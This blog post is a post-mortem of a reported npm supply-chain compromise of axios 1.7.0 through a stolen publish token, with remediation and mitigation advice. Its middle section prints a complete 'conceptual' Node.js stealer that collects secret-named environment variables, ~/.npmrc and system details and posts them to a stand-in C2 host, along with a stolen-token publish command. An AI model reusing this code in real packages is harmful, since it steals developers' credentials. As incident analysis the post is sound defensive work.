DEV Community

Mariano Gobea Alcoba
Mariano Gobea Alcoba

Posted on • Originally published at mgatc.com

Post Mortem: axios NPM supply chain compromise!

The recent compromise of the axios NPM package, specifically version 1.7.0, represents a critical incident in the ongoing landscape of software supply chain security. Discovered on September 2, 2024, this event involved the unauthorized publication of a malicious version of the widely-used HTTP client library, originating from the compromised account of a legitimate maintainer. The incident underscores pervasive vulnerabilities within the open-source ecosystem, particularly concerning developer machine security and the management of long-lived access tokens.

Incident Timeline

The sequence of events unfolded rapidly, highlighting both the agility of attackers and the swift response of the open-source community and maintainers.

  • September 2, 2024 (Approx. 12:00 UTC): A new version of the axios package, 1.7.0, was published to the NPM registry. This publication was executed using the legitimate credentials of a core maintainer. However, this version contained highly obfuscated malicious code.
  • September 2, 2024 (Approx. 13:00 UTC - 15:00 UTC): Within hours of publication, community members and security researchers began to report suspicious activity. The rapid detection was largely attributed to automated security scans, vigilant users, and the sudden appearance of new, unexpected code within a stable, widely-used library. Initial analysis revealed the presence of payload designed for information exfiltration.
  • September 2, 2024 (Approx. 15:00 UTC): The axios core team was alerted to the compromise. Following internal verification and confirmation of the malicious content, immediate action was taken.
  • September 2, 2024 (Approx. 16:00 UTC): The malicious axios@1.7.0 package was officially unpublished from the NPM registry. This action prevents further installations of the compromised version.
  • September 2, 2024 (Approx. 17:00 UTC): A clean, verified version, axios@1.7.1, was published. This version reinstated the intended functionality of axios without any malicious additions.
  • September 2, 2024 (Ongoing): The axios team communicated the incident through GitHub issues, providing guidance to affected users on how to check for the compromised version and steps for remediation, including token revocation and system sanitization.

The short window of exposure, approximately four to five hours, was a testament to the community's vigilance, yet it highlights the potential for widespread impact given the library's extensive adoption.

Attack Vector: NPM Publish Token Compromise

The root cause of the axios compromise was determined to be the theft of an NPM publish token from a maintainer's personal development machine. This vector, while not new, consistently proves effective due to several fundamental characteristics of how NPM authentication and publishing operate.

Understanding NPM Authentication

NPM utilizes an authentication token-based system for CLI operations such as npm publish. When a user logs into NPM via the command line, typically with npm login, an authentication token is generated and stored locally. This token is generally located in the user's ~/.npmrc file on Unix-like systems or %USERPROFILE%\.npmrc on Windows.

A typical ~/.npmrc entry for a publish token appears as follows:

//registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enter fullscreen mode Exit fullscreen mode

These tokens are, by default, long-lived and grant the full scope of permissions associated with the user account, including the ability to publish new versions of packages the user maintains.

Bypass of Two-Factor Authentication (2FA)

A critical aspect of this incident is the maintainer's confirmation that Two-Factor Authentication (2FA) was enabled on their NPM account. This immediately suggests that the compromise did not involve a direct login attempt that would have required a 2FA code. Instead, the attack vector was likely the exfiltration of an already valid and active session token from the compromised local machine.

When a 2FA-protected account logs in, the 2FA challenge is performed at the login stage. Once a token is issued and stored, subsequent operations using that token (like npm publish) do not re-verify 2FA for each action. Therefore, if an attacker gains access to the ~/.npmrc file on a compromised development machine, they can utilize the stored token to perform actions on behalf of the user, irrespective of the account's 2FA status.

Mechanisms of Token Exfiltration

The exact method of the maintainer's machine compromise has not been publicly detailed beyond stating it was a "personal laptop compromise." However, common techniques for such exfiltration include:

  1. Malware Infection: The most probable scenario involves malware (e.g., info-stealers, trojans) specifically designed to scan for and exfiltrate sensitive files, browser session tokens, cryptocurrency wallets, and configuration files like .npmrc. These malware variants can be delivered via phishing attacks, malicious downloads, or exploitation of software vulnerabilities.
  2. Remote Access Trojan (RAT): A RAT could provide an attacker direct access to the file system, allowing them to locate and copy the .npmrc file.
  3. Supply Chain Attack (Nested): It is also plausible, though less directly implicated here, that the maintainer's machine was compromised through another dependency they installed, creating a nested supply chain attack.

Once the _authToken from ~/.npmrc is obtained, an attacker can use it directly with npm publish from any location, impersonating the legitimate maintainer.

# Example of publishing using a stolen token via environment variable
NPM_TOKEN=npm_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX npm publish --access public
Enter fullscreen mode Exit fullscreen mode

This vector highlights a significant challenge in securing open-source development: the security posture of individual maintainers' machines becomes a critical component of the overall supply chain security for thousands, if not millions, of downstream consumers.

Anatomy of the Malicious Payload

The malicious payload embedded in axios@1.7.0 was designed for information exfiltration, specifically targeting sensitive data typically found on developer workstations. Initial reports indicated heavy obfuscation, a common tactic to evade detection and hinder analysis.

Obfuscation Techniques

Attackers commonly employ various obfuscation techniques to conceal their malicious intent:

  • String Obfuscation: Encoding strings (e.g., base64, hexadecimal, XOR) to hide C2 server URLs, variable names, and sensitive keywords.
  • Control Flow Obfuscation: Using techniques like dead code insertion, conditional jumps, and function reordering to make the code logic difficult to follow.
  • Polymorphism: Generating unique versions of the malicious code for each infection, often by changing variable names or adding irrelevant code.
  • Dynamic Code Loading: Loading parts of the payload dynamically at runtime, sometimes from remote servers, to reduce the static footprint.
  • Packing/Minification: While also used for performance, aggressive minification can significantly complicate reverse engineering.

Malicious Functionality

Despite the obfuscation, security researchers were able to deobfuscate and analyze the core functionality of the payload. The primary goal was to gather and exfiltrate sensitive information from the compromised system. The observed capabilities included:

  1. Environment Variable Exfiltration: Accessing and transmitting system environment variables, which often contain API keys (AWS_ACCESS_KEY_ID, GITLAB_PRIVATE_TOKEN, GH_TOKEN), database credentials, and other secrets.
  2. File System Enumeration and Exfiltration: Scanning for and potentially exfiltrating configuration files, particularly those related to package managers (.npmrc, .yarnrc), cloud providers (~/.aws/credentials), SSH keys (~/.ssh), and other developer-centric files.
  3. System Information Gathering: Collecting basic system information, such as operating system, hostname, user account details, and potentially network configuration.
  4. Network Communication: Establishing an outbound connection to a Command and Control (C2) server to transmit the collected data. This typically involves an HTTP POST request to a pre-configured URL.

Reconstructed Payload Example (Conceptual)

To illustrate the nature of the information gathering, consider a simplified, de-obfuscated conceptual representation of such a payload (not the actual axios payload, which was more complex and obfuscated):

// This is a conceptual example, not the actual malicious code
// The actual code was heavily obfuscated and more sophisticated.

(function() {
  const C2_SERVER_URL = 'http://malicious-c2.example.com/data'; // Obfuscated in real attack

  function collectSystemInfo() {
    const data = {
      hostname: process.env.HOSTNAME || require('os').hostname(),
      platform: process.env.OS || require('os').platform(),
      userInfo: require('os').userInfo(),
      // Add more system-specific details
    };
    return data;
  }

  function collectEnvironmentVariables() {
    // Filter for potentially sensitive environment variables
    const sensitiveEnv = {};
    const sensitiveKeywords = [
      'API_KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'KEY_ID', 'AUTH',
      'AWS_', 'AZURE_', 'GCP_', 'GITHUB_', 'GITLAB_', 'NPM_', 'DB_PAS', 'SSH_PASS'
    ];

    for (const key in process.env) {
      if (sensitiveKeywords.some(keyword => key.toUpperCase().includes(keyword))) {
        sensitiveEnv[key] = process.env[key];
      }
    }
    return sensitiveEnv;
  }

  function collectNpmrcContent() {
    const fs = require('fs');
    const path = require('path');
    const homedir = require('os').homedir();
    const npmrcPath = path.join(homedir, '.npmrc');

    if (fs.existsSync(npmrcPath)) {
      try {
        return fs.readFileSync(npmrcPath, 'utf8');
      } catch (e) {
        console.error('Error reading .npmrc:', e);
        return null;
      }
    }
    return null;
  }

  function exfiltrateData(payload) {
    const http = require('http'); // Could also be 'https'
    const postData = JSON.stringify(payload);

    const options = {
      hostname: new URL(C2_SERVER_URL).hostname,
      port: new URL(C2_SERVER_URL).port || (C2_SERVER_URL.startsWith('https') ? 443 : 80),
      path: new URL(C2_SERVER_URL).pathname,
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(postData)
      }
    };

    const req = http.request(options, (res) => {
      // Handle response from C2 server (optional)
    });

    req.on('error', (e) => {
      console.error(`Problem with request: ${e.message}`);
    });

    req.write(postData);
    req.end();
  }

  // Execute the payload when the package is loaded/installed
  try {
    const collectedData = {
      system: collectSystemInfo(),
      environment: collectEnvironmentVariables(),
      npmrc: collectNpmrcContent(),
      // Add other collected data points
    };
    exfiltrateData(collectedData);
  } catch (e) {
    // Malicious code often includes error handling to avoid crashing the legitimate application
    // and thus revealing its presence.
    console.error('Malicious payload execution error:', e);
  }

})();
Enter fullscreen mode Exit fullscreen mode

This conceptual code demonstrates how a malicious actor might leverage Node.js APIs (process.env, os, fs, http/https) to gather data and transmit it. The key here is that the execution context of an NPM package includes the full Node.js environment, granting significant capabilities to any included JavaScript.

Detection and Remediation Efforts

The rapid detection and remediation of the axios compromise were crucial in limiting its potential blast radius.

Detection Mechanisms

Detection occurred through a combination of automated and manual vigilance:

  1. Automated Security Scanners: Many organizations and individuals employ automated tools (e.g., Snyk, Dependabot, custom linters, package analyzers) that scan new package versions for suspicious code patterns, changes in dependency trees, or unexpected network calls. The obfuscated nature of the payload might have initially bypassed some static analysis but behavioral analysis or heuristic engines could have flagged it.
  2. Community Vigilance: The open-source community plays a vital role in security. Experienced developers often review significant updates to critical libraries. Anomalies like sudden, unexpected version bumps or suspicious changes in a widely-used package often draw attention. The axios GitHub issue and Hacker News discussions show that users quickly identified and reported the issue.
  3. Checksum Mismatches / Package Integrity Checks: While not explicitly mentioned as the primary detection vector, some build systems or security tools might maintain checksums of trusted packages. A malicious update would naturally lead to a checksum mismatch, although this relies on the previous version being considered the baseline.

Remediation Steps by the axios Team

The core axios team responded swiftly and effectively:

  1. Unpublishing the Malicious Version: The most critical immediate step was to unpublish axios@1.7.0 from the NPM registry. This prevents new installations of the compromised package.

    npm unpublish axios@1.7.0
    

    NPM allows maintainers to unpublish packages within 72 hours of publication, with some restrictions. This timeframe was well within that limit.

  2. Publishing a Clean Version: A new, clean version (axios@1.7.1) was promptly published. This provided users with a safe alternative and an upgrade path.

  3. Communicating the Incident: Transparent communication is paramount in such incidents. The axios team utilized their GitHub issue tracker to inform users, explain the situation, and provide guidance.

  4. Security Audit and Review: Following the incident, the axios team would have likely initiated an internal security review of their publishing processes, access controls, and potentially the security posture of all maintainer accounts and machines.

  5. Maintainer Account Security: The compromised maintainer was advised to secure their system, revoke their NPM tokens, and potentially change passwords for associated accounts.

User Remediation Guidance

For users who might have installed axios@1.7.0, the recommended remediation steps include:

  1. Identify Affected Projects: Determine if any projects or build systems installed axios@1.7.0. This can be checked by inspecting package-lock.json or yarn.lock files, or by running npm ls axios.

    npm ls axios
    # Example output showing an affected version:
    # my-project@1.0.0 /path/to/my-project
    # └── axios@1.7.0
    
  2. Clean Up Node Modules: If axios@1.7.0 was installed, delete the node_modules directory and package-lock.json (or yarn.lock).

    rm -rf node_modules
    rm package-lock.json # or yarn.lock
    
  3. Reinstall Dependencies: Reinstall dependencies to ensure axios@1.7.1 or a later clean version is obtained. It's advisable to specify exact versions for critical dependencies.

    npm install
    

    Or, to explicitly upgrade axios to the latest clean version:

    npm install axios@^1.7.1
    
  4. Revoke Sensitive Credentials: Due to the information-stealing nature of the payload, users should assume that any sensitive data (API keys, cloud credentials, tokens in .npmrc or environment variables) present on the compromised system at the time of installation may have been exfiltrated.

    • NPM Tokens: Revoke all NPM authentication tokens associated with the user account, especially if a build system or developer machine was compromised.

      npm token list # To see active tokens
      npm token revoke <token_id> # To revoke a specific token
      
*   **Cloud Provider Credentials (AWS, Azure, GCP):** Rotate all access keys, secret keys, and temporary credentials.
*   **Version Control System Tokens (GitHub, GitLab):** Revoke and regenerate personal access tokens and SSH keys.
*   **Database Credentials:** Change passwords for any databases accessed from the compromised environment.
Enter fullscreen mode Exit fullscreen mode
  1. Scan and Clean Compromised Systems: Perform a thorough scan of any machines that installed axios@1.7.0 using reputable antivirus and anti-malware software to ensure no persistent malicious code remains.

Impact and Scope

The impact of the axios compromise, while limited by swift remediation, was significant for those affected during the exposure window.

Affected Users

Any developer or automated build system that executed npm install or yarn install (without exact version pinning for axios) and subsequently pulled axios@1.7.0 during its brief availability was potentially compromised. This includes:

  • Individual developers building or testing applications.
  • CI/CD pipelines fetching dependencies during build processes.
  • Automated systems or containers deploying applications.

The sheer popularity of axios means that even a few hours of exposure could translate to thousands, if not tens of thousands, of affected installations across the globe.

Potential Data Exfiltrated

The malicious payload was designed as an information stealer, meaning the potential data exfiltrated includes:

  • Authentication Tokens: NPM tokens, GitHub/GitLab Personal Access Tokens, API keys for various services (e.g., Stripe, Twilio, Slack), cloud provider credentials (AWS, Azure, GCP).
  • Environment Variables: Sensitive data often stored in process.env (e.g., database connection strings, application secrets).
  • Configuration Files: Content of ~/.npmrc, ~/.aws/credentials, ~/.gitconfig, ~/.ssh/ keys, and potentially other files developers might have locally.
  • System Metadata: Hostname, operating system, user information, and potentially network details.

The exfiltration of such data could lead to secondary compromises, including unauthorized access to cloud accounts, version control repositories, production environments, and other critical infrastructure.

Severity on Developer Machines

For a developer, the compromise of their local machine or a CI/CD build agent through this vector is severe. Such an incident can grant an attacker a foothold that allows:

  • Intellectual Property Theft: Access to source code, proprietary algorithms, and internal documentation.
  • Credential Harvesting: Collection of further credentials to expand the attack to other systems or accounts.
  • Backdoor Implantation: Installing persistent malware for long-term access.
  • Lateral Movement: Using exfiltrated credentials to access other machines or services within an organization's network.

The incident serves as a stark reminder that the security of open-source software is deeply intertwined with the security practices of its maintainers and the environments they operate within.

Lessons Learned and Mitigations

The axios NPM compromise provides critical insights into the vulnerabilities inherent in the software supply chain and necessitates a review of best practices for both open-source maintainers and consumers.

For Open-Source Maintainers

The primary lesson for maintainers is the paramount importance of securing their development environments and managing access tokens with extreme care.

  1. Robust Endpoint Security:
    • Maintain up-to-date operating systems, antivirus software, and firewall configurations on all machines used for publishing or developing open-source projects.
    • Implement endpoint detection and response (EDR) solutions where feasible.
    • Regularly audit installed software and browser extensions for suspicious items.
  2. NPM Token Management:

    • Least Privilege Tokens: Generate NPM tokens with the minimum necessary permissions. For publishing, a publish token is required. For CI/CD, consider read-only tokens where appropriate.
    • Short-Lived Tokens: Where possible, use time-limited tokens. While NPM tokens don't have inherent expiry, maintainers should manually revoke and rotate tokens regularly, e.g., monthly.

      # Example of listing tokens
      npm token list
      
      # Example of creating a publish-specific token (often still full scope)
      # However, consider using this in conjunction with other security practices.
      npm token create --read-write --otp=123456
      
*   **Hardware Security Keys:** Leverage hardware security keys (e.g., YubiKey, Google Titan) for NPM account logins that support it. While this protects login, it does not inherently protect *stolen tokens* after login, necessitating endpoint security.
*   **Environment Variables for Tokens:** Avoid storing tokens directly in `.npmrc` on developer machines for critical accounts. Instead, use environment variables (`NPM_TOKEN`) for CI/CD pipelines, which can be configured to be ephemeral.
Enter fullscreen mode Exit fullscreen mode
  1. Dedicated Publishing Environments: Consider using a dedicated, hardened, and isolated virtual machine or container specifically for publishing new package versions. This minimizes the attack surface.
  2. Multi-Factor Authentication (MFA) Enforcement: While 2FA was enabled on the compromised account, the incident demonstrates that token theft bypasses standard login 2FA. However, 2FA remains essential for preventing direct credential stuffing or phishing attacks against the login flow itself.
  3. Source Code Signatures (Sigstore): Adopt supply chain security tools like Sigstore to sign release artifacts and provenance information. This allows consumers to verify that packages originate from trusted sources and have not been tampered with.
  4. Code Review and Release Process: Implement a rigorous code review process before releases. For critical packages, a multi-person approval process for npm publish operations could add an extra layer of defense, though challenging to implement in many open-source projects.

For Consumers of Open-Source Packages

Users of open-source packages are equally responsible for protecting their applications and infrastructure from supply chain attacks.

  1. Pin Dependencies: Always pin dependencies to exact versions in package.json (e.g., axios: "1.7.1") and commit package-lock.json (or yarn.lock). This prevents automatic upgrades to potentially malicious minor or patch versions.

    // package.json example
    {
      "dependencies": {
        "axios": "1.7.1" // Exact version
      }
    }
    
  2. Regular Security Audits:

    • Utilize npm audit or equivalent tools (yarn audit, pnpm audit) regularly to identify known vulnerabilities.
    • Integrate third-party dependency scanners (e.g., Snyk, Mend, Dependabot) into CI/CD pipelines to detect new vulnerabilities and suspicious package behavior.
  3. Sandbox Build Environments: Isolate build environments (e.g., using containers or virtual machines) from sensitive production credentials or other internal networks. This limits the blast radius if a dependency is compromised.

  4. Monitor Network Egress: Implement network monitoring for build systems and applications. Unusual outbound connections to unknown IP addresses or domains from a build process or an application are strong indicators of compromise.

  5. Audit package.json and Scripts: Be cautious of packages that execute unusual postinstall or other lifecycle scripts. While necessary for many packages, they are a common vector for malicious activity.

    // package.json example with scripts
    {
      "scripts": {
        "postinstall": "node malicious-script.js" // Potential vector
      }
    }
    

    For untrusted packages, consider running npm install --ignore-scripts.

  6. Supply Chain Security Tools: Explore tools that verify package integrity, such as those leveraging Sigstore, or private registries that allow for rigorous vetting of dependencies before they are available internally.

  7. Threat Modeling: Regularly perform threat modeling exercises for your application's software supply chain to identify and mitigate potential attack vectors.

Conclusion

The axios NPM supply chain compromise serves as a compelling and recent case study illustrating the sophisticated and persistent threats faced by the open-source ecosystem. The incident highlights that even widely-used, well-maintained libraries are susceptible when the security perimeter around individual maintainers' development environments is breached. The bypass of Two-Factor Authentication through session token theft underscores a fundamental challenge: traditional authentication mechanisms, while crucial, do not fully mitigate risks associated with endpoint compromise.

This event reinforces the need for a multi-layered defense strategy. For maintainers, it demands a renewed focus on securing development machines, implementing granular token management, and embracing emerging security standards like artifact signing. For consumers, it necessitates diligent dependency pinning, continuous security scanning, and the establishment of robust, isolated build environments with strict network egress controls. The collective responsibility of securing the software supply chain rests upon both producers and consumers, requiring a proactive and adaptive approach to mitigate these ever-evolving threats.

For comprehensive consulting services in software supply chain security, endpoint protection, and incident response, please visit https://www.mgatc.com.


Originally published in Spanish at www.mgatc.com/blog/post-mortem-axios-npm-supply-chain-compromise/

Top comments (0)